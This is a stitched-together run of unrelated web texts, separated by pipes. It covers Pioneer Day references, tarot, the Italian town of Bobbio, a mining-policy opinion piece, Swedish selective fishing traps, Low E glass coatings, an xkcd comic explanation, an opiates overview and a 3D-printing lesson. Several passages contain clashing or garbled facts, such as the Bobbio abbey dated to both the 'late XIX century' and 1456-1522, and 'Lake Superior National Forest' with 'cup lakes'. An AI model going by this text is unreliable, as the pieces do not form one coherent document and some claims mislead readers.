- ^ Gaunt, LaRene Porter (April 2005), "Celebrate!", Ensign (LDS Church), http://www.lds.org/ldsorg/v/index.jsp?hideNav=1&locale=0&sourceId=89a5d326b221c010VgnVCM1000004d82620a____&vgnextoid=2354fccf2b7db010VgnVCM1000004d82620aRCRD, retrieved 6 August 2009
- ^ Bailey, Tamara Leatham (July 1997), "Pioneer Parties", New Era (LDS Church), http://www.lds.org/ldsorg/v/index.jsp?vgnextoid=024644f8f206c010VgnVCM1000004d82620aRCRD&locale=0&sourceId=5c878ef0173fb010VgnVCM1000004d82620a____&hideNav=1, retrieved 6 August 2009
- ^ Greenleigh, Alicia (21 July 2009), "Days of '47: The day when pioneers are cool", Salt Lake Tribune, http://www.sltrib.com/themix/ci_12868186, retrieved 6 August 2009
- ^ Quinn, Frederick Building the "Goodly Fellowship of Faith" - A History of the Episcopal Church in Utah - 1867-1996 Utah State University Press, Logan, Utah, 2004, chapter 1.
- ^ Mayorga, Carlos (2008-07-20), "Powwow honors Indian culture", The Salt Lake Tribune: D3, http://www.sltrib.com/ci_9925806?IADID=Search-www.sltrib.com-www.sltrib.com Archive Article ID: 9925806
- ^ Holiday Deaths (Utah 1999-2008), Utah Department of Public Safety, http://publicsafety.utah.gov/dps/news/documents/HolidayDeaths.pdf, retrieved 6 August 2009
- ^ Purdy, William E. (July 1980). "They Marched Their Way West: The Nauvoo Brass Band". Ensign (LDS Church). http://www.lds.org/ldsorg/v/index.jsp?vgnextoid=2354fccf2b7db010VgnVCM1000004d82620aRCRD&sourceId=ee69fc3157a6b010VgnVCM1000004d82620a____. Retrieved 5 January 2010.
- ^ "The First Statewide Pioneer Day Celebration", Markers and Monuments Database (Utah State History, a division of the Utah Department of Community and Culture), http://history.utah.gov/apps/markers/detailed_results.php?markerid=2116, retrieved 6 August 2009
- ^ a b c d e f "Pioneer Day", Utah History Encyclopedia (University of Utah Press), 1994, http://www.media.utah.edu/UHE/p/PIONEERDAY.html, retrieved 6 August 2009
- ^ Firmage, Edwin Brown; Mangrum, Richard Collin (2001), Zion in the courts, University of Illinois Press, p. 139, ISBN 0252069803, http://books.google.com/books?id=9AimifP2a-4C, "Having signed the Morrill Act, Abraham Lincoln reportedly compared the Mormon Church to a log he had encountered as a farmer that was 'too hard to split, too wet to burn and too heavy to move, so we plow around it. That's what I intend to do with the Mormons. You go back and tell Brigham Young that if he will let me alone, I will let him alone.'"
- ^ Haddock, Marc (20 July 2009), "Celebrating Pioneer Day in 1947", Deseret News, http://www.deseretnews.com/article/705317984/Celebrating-Pioneer-Day-in-1947.html, retrieved 6 August 2009 |
Tarot is a divination tool that over the centuries has become standard practice in spiritual communities.
Originally, Tarot was a card game, much like the modern playing cards that we have today. Each card in the deck symbolized something and based on that symbol, the game would unfold in a specific way.
But the symbols on the tarot cards represented entire concepts such a spiritual principals, philosophical ideas and societal archetypes.
As such, the cards were not only used for card games, but also for divination.
This is the primary use of the tarot cards today. In principal, whatever tarot card is drawn or dealt is subject to divine orchestration and is therefore revelatory or provides insight to the person the divination is in service of.
“A traditional tarot deck is divided into two sections, the major and minor arcana. Used together, the major and the minor arcana reveal the full story of the interaction between supernatural and worldly influences. They reveal the relationship between the earthly realm and the divine realm relative to the subject matter at hand.” |
City of the province of Piacenza, Bobbio is the most important center of Valley of Trebbia, located along the banks of the river with the same name, at the foot of Mount Penice. The area was inhabited since the Stone Ages. Subsequently here settled Ligurians and Celts, who were defeated and exiled by the Roman army. The town's name derives from the river that flows South, through the center.
In 614, the Lombard King Agilulfo donated the territories to the Irish monk Colombano, who had restored a small ruined church dedicated to St. Peter, in which, at his death he was buried by his followers. The Holy Abbots and several monks took turns in keeping the monastic community alive and the monastery was populated rapidly: already in 643 it counted the presence of 150 monks. Around the monastery were built the first houses inhabited by civilians. The Abbey of Bobbio, with its schools, its library, its Scriptorium, its economic organization, gained political strength. At the Court of the Lombard, the monks had such a consideration that often the political crises were resolved or caused by their points of view. The Abbey possessions during the Lombard-ages spread throughout all Northern Italy. At the fall of the Lombard Kingdom, with Charles the Great, the monks of St. Colombano were granted with new possessions, which increased more their power. The monks created their own scripture, referring to the Irish tradition, and their manuscripts allowed the preservation and knowledge of ancient texts, such as "De repubblica" of Cicerone and the letters of Seneca to Lucillo. In 1230, Bobbio was occupied by the troops of Piacenza, whose lords dominated until the conquest of the area by the Visconti. From this moment, the town became part of the territories of Pavia. In 1387 the territories were given in fief to the Del Verme Family, that held the domain, except for some brief periods, until the mid XVIII century, when it became part of the domain of Savoy.
Sites of Interest:
- the Abbey of St. Colombano, whose construction began from the late XIX century, when the Abbot Agilulfo decided to move the whole complex. The present building dates from the period 1456-1522 and only the circular apse and the bell tower have been spared of the original ancient proto-Romanesque basilica. Despite the simplicity of the decorative elements, the Basilica has a magnificent structure, a splendid example of the architectural transition from Gothic to Renaissance. The crypt houses the sarcophagus of St. Colombano and on the two sides the tombs of St. Attala and St. Bertulfo, respectively second and third Abbot of Bobbio. The abbey also houses a Museum with archeological exhibits and artworks related to the figures of the Saints from the XIV to the XVIII centuries and the Civic Museum;
- the Cathedral, whose original structure dates back to 1075, while the façade dates back to 1463. The two majestic towers are original only in their lower parts: the one on the right was modified in 1532 on request of the City Council, with a belfry and clock in addition, while the left one was the original bell tower, today features mullioned windows on three sides and a lancet window on the other side. The building features a staircase at the entrance, which raises it from the main square. The cathedral has a Latin cross plan with a series of side chapels covered by vaulted ceilings and Gothic-Byzantine decorations and XIV century frescoes;
- the Church of San Lorenzo, whose earliest records date back to 1144. Of the original church, still partly visible on the left side of the façade, was renovated and enlarged in 1694;
- the Convent of San Francesco, built in 1230, features a XV century cloister;
- the XVII century Sanctuary of Our Lady of Help, built to preserve a precious image of the Virgin, believed to be miraculous. It features a single nave plan with side chapels and decorated by paintings of 1912;
- the Castle Malaspina, built in 1304 and designed by Corradino Malaspina. Of the original structure remains only the central keep with a rectangular plan;
- the XIV century Palazzo Alcarini with a Gothic arched porch;
- the Palazzo Olmi, a complex of three existing XV century buildings, enlarged and refurbished in the XVIII century;
- the Old Bridge (also called Gobbo, due to the irregularity of its 11 humps), which is also the symbol of the city. The earliest records of its presence date back to 1196. |
During his presidency, President Trump has pulled back environmental protections and regulations all over the United States, even releasing 13 million acres of federal land for mining. From laws regarding mining pollution to agricultural waste, the effects of his influence have been wide reaching. And in western states the influence of the president on the environment is even more so because western states contain far more federal land. Washington State is 32.8 percent federal land, of which it has little to no control over. Federal land is primarily controlled by four organizations: the National Park Service, the Forest Service, Fish and Wildlife and the Bureau of Land Management. In the case of Washington, The Forest Service is the most dominant, controlling almost all the federal land in the state.
It’s important to differentiate the Forest Service and the National Park Service, specifically that land run by the Forest Service can be used for developmental purposes while the National Parks are entirely for recreation and preservation. This is important when remembering that 71 percent of federal land in Washington is run by the Forest Service and can therefore be used for extraction purposes. This can be worrying when you remember that we as Washingtonians have little to no control over what happens on this land, especially when you look at what’s happening on other federal lands.
The boundary waters of Lake Superior National Forest have been for a long time one of the most protected areas in the United States. They’re even known as cup lakes, since you can drink directly from the water without any filtering. They also have one of the largest untapped copper deposits in the world. Copper happens to be one of the dirtiest minerals to mine, and the extraction of copper near the boundary waters could lead to massive consequences.
Historically, copper mines dealt with waste by storing it in large above-ground pools. However, these pools are notorious for leaks, and once the chemicals enter an environment, there is little to no recourse. The elevated levels of lead can sometimes last for decades if it dissipates at all. Newer methods have emerged for waste management, but their improved effectiveness is questionable. The specific method that Twin Metals plans to use involves storing the waste dry, in large mounds. This isn’t much better, and other sites that employ dry waste storage have found that lead dust blew off the mounds and contaminated surrounding areas.
Washington State has a number of its own mines, a majority of which are operated on Forest Service Land, but it wasn’t Washingtonians who decided on regulation of these mines. These kinds of decisions can have massive implications on an economy and environment for exceedingly long periods of time, and it’s concerning that states don’t have a voice in these decisions. Mining pays well and looks attractive to boost an economy. But mines deplete over time, and when they’re gone, all you have left is the pollution they leave behind. It’s an important issue, and it’s troubling when that decision is made entirely by administrations reversing decisions every few years. The Obama administration decided copper mining near the boundary waters was too dangerous, but Trump reversed the ban. And who knows what later administration’s positions on the matter will be. In the end, it’s the residents who are left to watch as major decisions about their area are made without their input. |
Fishermen and scientists have spent the past two months trialing a new type of selective fishing gear, and the results are now in! “Push-up traps” help fishermen catch more target species and less bycatch, while providing safer working conditions for fishermen working alone.
Despite the harsh Swedish winter, scientists and fishermen have been collaborating to test the design and function of the “push-up” trap, essentially a fish-bag on floats. They wanted to know whether this new type of selective fishing gear fitted with a sorting grid and which catches fish live, could:
- Continue to catch the target species – whitefish.
- Reduce catch and injury of sensitive species, e.g. Arctic char, brown trout and undersized whitefish.
- Be used by fishermen working alone.
To test this, GAP2 scientist Dr Alfred Sandström worked with two fishermen upon the icy waters of Lake Vättern to submerge two traps in different parts of the lake, and monitor their catch every two to seven days. The data has not yet been analysed in full, but Dr Alfred Sandström commented upon the results so far:
“The traps have certainly reduced the catch of non-target species. Over the two months’ fishing period, we only caught one individual of a sensitive species (an Arctic char, which we managed to release alive). Indeed, overall we caught 80% whitefish, with the rest of the catch comprising common species such as pike, bream, perch and roach.
We couldn’t have conducted this experiment without the fishermen; their involvement was absolutely critical to the trials being conducted. But I think that they are pleased with the results”.
Patrik Grönlind, one of the fishermen involved in trialing the trap commented:
“We’re now considering if we want to use this trap again. We are very satisfied with the selectivity and the catch. On some occasions, the catch was so big that it was difficult to handle the gear! Thus, we would very much like to try a larger version of the gear in the future, preferably in other locations and seasons to make sure that it works well in all situations. We also believe that there is certain small technical adjustments that can be made to make it work even better, particularly when the weather conditions are difficult in the winter.
You can read more about the beginning stages of the experiment here. But early winter conditions made the work much more demanding than initially expected. Heavy snowfall, strong winds and thick ice rendered every single trip grueling, and even damaged one of the traps. However, one unexpected boon was the use of the traps to provide live whitefish to the new Lake Vättern aquarium in Motala. You can see a video of the fish here!
Looking to the future, scientists will present the fully analysed results to the local fishermen at the beginning of 2013. The fishermen will then discuss whether they want to continue testing the traps and similar gear next year. |
Pyrolytic Low E coatings are generally non-reflective and highly transparent coatings applied to clear glass, and are designed to increase the thermal performance of windows. Glass with a low emissivity (Low E) coating is specifically designed to reduce heat transfer and energy costs and works most efficiently in Insulated Glass Units.
The Low E coating is designed to reflect long wave radiation from the glass itself and from the inside or outside. These coatings must be glazed inside the building on surface 2 to ensure the Low E coating functions. They are ideal for use in Insulating Glass Units as they provide very high insulation. The most common being Pilkington Energy Advantage and AFG Comfort E2. Some new Low E coatings are designed with a tint or colour to help control solar gain. These are called Solar Low E Coatings. An example is Pilkington Solar E.
Low E glass was designed for, and performs best,
in Insulating Glass Units and is not generally recommended for single
glazing. It can be handled and cut like float glass and processed
into laminated, heat strengthened, toughened, Insulating Glass Units
and curved glass.
Manufactured in 3, 4, 5 and 6mm
Available in 4, 5 and 6mm
Energy Advantage Low E
& Comfort E2
High performance pyrolytic Low E glass with unparalleled heat control and the appearance of uncoated glass. The glass lets most of the sun’s heat in, while letting a minimum of heat back out. The glass is neutral in colour and has a durable coating that will not oxidise or change colour or performance over time. It has improved UV elimination and heat gain performance compared to clear float, with slightly more light reflectance and less light transmission.
Solar Low E (Solar E)
A special light grey, Low E coating applied to
clear glass. Light transmission is reduced but the shading coefficient
is also reduced providing improved solar control performance over
clear Low E glass. This product is laminated to produce Comfort Plus.
It can be handled and cut like float glass and processed into laminated,
heat strengthened, toughened, and Insulating Glass Units.
Manufactured in 3-6mm
Available in 6mm
2.5 Sputtered Coated Reflective
A high technology process in which metal particles are deposited on the glass surface in a vacuum chamber. Almost any non magnetic alloy can be sputtered, the more common being stainless steel, silver and titanium. Performance characteristics and colour depend on the alloy and coating density, but in general they have better solar control performance than pyrolytic coated glass.
They are often called soft coats as the coating is more susceptible to damage than pyrolytic reflective glass when single glazed. Special care is required in cutting, handling, glazing and cleaning. They are also known as vacuum coated off-line coatings. These coatings are applied to monolithic sheets of glass up to a normal maximum size of 3660 x 2440mm, which can be cut to size as normal glass.
These products are often heat treated due to the risk of thermal stress breakage. When this is required the product must be toughened or heat strengthened first to pre-determined sizes, and then sputtered coated before it is imported. This increases lead times and adds cost when compared to pyrolytic products. Sputtered coated reflective glass is normally imported into New Zealand for special contracts, in either annealed, laminated, toughened, heat strengthened or IGU form. The laminated option is ideal as the coating is inside the laminate, protecting it from damage. With exceptions, sputtered coated products have better shading coefficient values than pyrolytic products.
The coating codes are normally based on two letters and two numbers eg TS21. The letters identify the type of coating and the numbers indicate the visible light transmission on 6mm clear glass. The higher the number the higher the visible light transmission, conversely the lower the number the better the glass performs in reducing solar gain.
Example: TS 21 = Titanium silver coating with 21% VLT
These coatings can be applied to tinted float, eg TS 21 on Green, but the light transmission will be reduced by the green tinted glass to 18%. Common trade names are Suncool and Solarplus.
2.6 Sputtered Coated Low E
Sputtered coated Low E glasses have transparent layers of silver and metal oxides sputtered onto the glass surface. The metal oxides, which surround the silver, protect and suppress the visible reflectance of the silver. These are high performance Low E coatings and can only be used in an Insulating Glass Unit. Normally these coatings are neutral in colour but some can be tinted to provide extra solar control performance. Examples are Solarplus LE54 and LE80, Planibel G, Top N, and Energy N. Most of these products must be coated after heat treatment but the Planibel range has a version that can be toughened after coating. All products, except the aforementioned Planibel range, are only available as a special import and are not stocked in New Zealand. |
438: Internet Argument
Title text: It's easier to be an asshole to words than to people.
Since the first time the internet made possible to have sustained conversations with people in remote locations, it was found that most people tend to use harsh language in these conversations much more often than they would with regular spoken face-to-face conversations. This effect is similar to what happens when people drive a car: they're much more likely to get exasperated or angry at other drivers than they would when not driving.
Also, some people collectivelly known as Trolls find it funny to disrupt other people's conversations in internet forums, posing as innocent speakers. Examples of this can be entering a conversation between cancer patients suggesting the use of some "miracle" cure, or just asking simple, obvious questions and then pretending to not understand the answers. Most probably, trolls wouldn't have this behavior if they were speaking to a group of people in real life. A similar concept is Wikiterrorism, where someone intentionally includes false information in Wikipedia to see how long it lasts before someone notices.
In the first two panels, Cueball is having some harsh words and probably insults with another troll. Megan takes hold of Cueball and flies him to the other one, so they see each other face to face. In this situation, they both remain silent as none of them find anything to say to the other.
When Megan returns Cueball to his original computer, both keep their conversation, but without the insults.
The title text just summarizes the whole idea into a single sentence.
- [Cueball is typing profanities into his computer.]
- [Friend is typing profanities into his computer.]
- [Megan floats in behind Cueball.]
- [Megan lifts Cueball.]
- [They are flying over mountains.]
- [Megan and Cueball are floating in front of the friend and his computer.]
- [She sets Cueball down in front of the friend and his computer.]
- [Megan lifts Cueball again.]
- [They are flying.]
- [Megan sets Cueball down in his chair at his computer.]
- [Cueball is typing at his computer.]
- [Friend is typing at his computer.]
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From Prescription Drugs to Heroin, How People Become Addicted to Opiates, Health Dangers and Treatment
Opiates, sometimes referred to as narcotics, are a group of drugs which are used medically to relieve pain, but also have a high potential for abuse. Some opiates come from a resin taken from the seed pod of the Asian poppy. This group of drugs includes opium, morphine, heroin, and codeine. Other opiates, such asmeperidine (Demerol), are synthesized or manufactured. Opium appears as dark brown chunks or as a powder and is usually smoked or eaten. Heroin can be a white or brownish powder which is usually dissolved in water and then injected. Most street preparations of heroin are diluted, or “cut,” with other substances such as sugar or quinine. Other opiates come in a variety of forms including capsules, tablets, syrups, solutions, and suppositories. Heroin (also called “junk”or “smack”) accounts for 90 percent of the opiate abuse in the United States. Sometimes opiates with legal medicinal uses also are abused. They include morphine, meperidine, paregoric (which contains opium), and cough syrups that contain codeine [or a synthetic narcotic, such as dextromethorphan]. Whatever the drug use or name, you may need an opiate detox to get free from addiction. |
In this 1 hour lesson students will explore the pros and cons of mass production vs 3D printing before designing their own personalised model. After the introduction presentation and discussion session, they will go through their student workbook to design and 3D print a personalised chopsticks holder using Tinkercad software. The lesson involves context about mass production along with CAD design and 3D printing.
The lesson can be incorporated into the study of art and design, design technology or computing and can be adapted for ages 8-15. The curriculum is aligned to NGSS, CCSS and UK National Curriculum standards. A comprehensive list of standards met is included in the lesson platform.
In this project students will:
develop contextual knowledge of mass production
develop contextual knowledge of personalised products
explore the pros and cons of mass production vs 3D printing
design personalised CAD models to set dimensions
manufacture personalised products through 3D printing |
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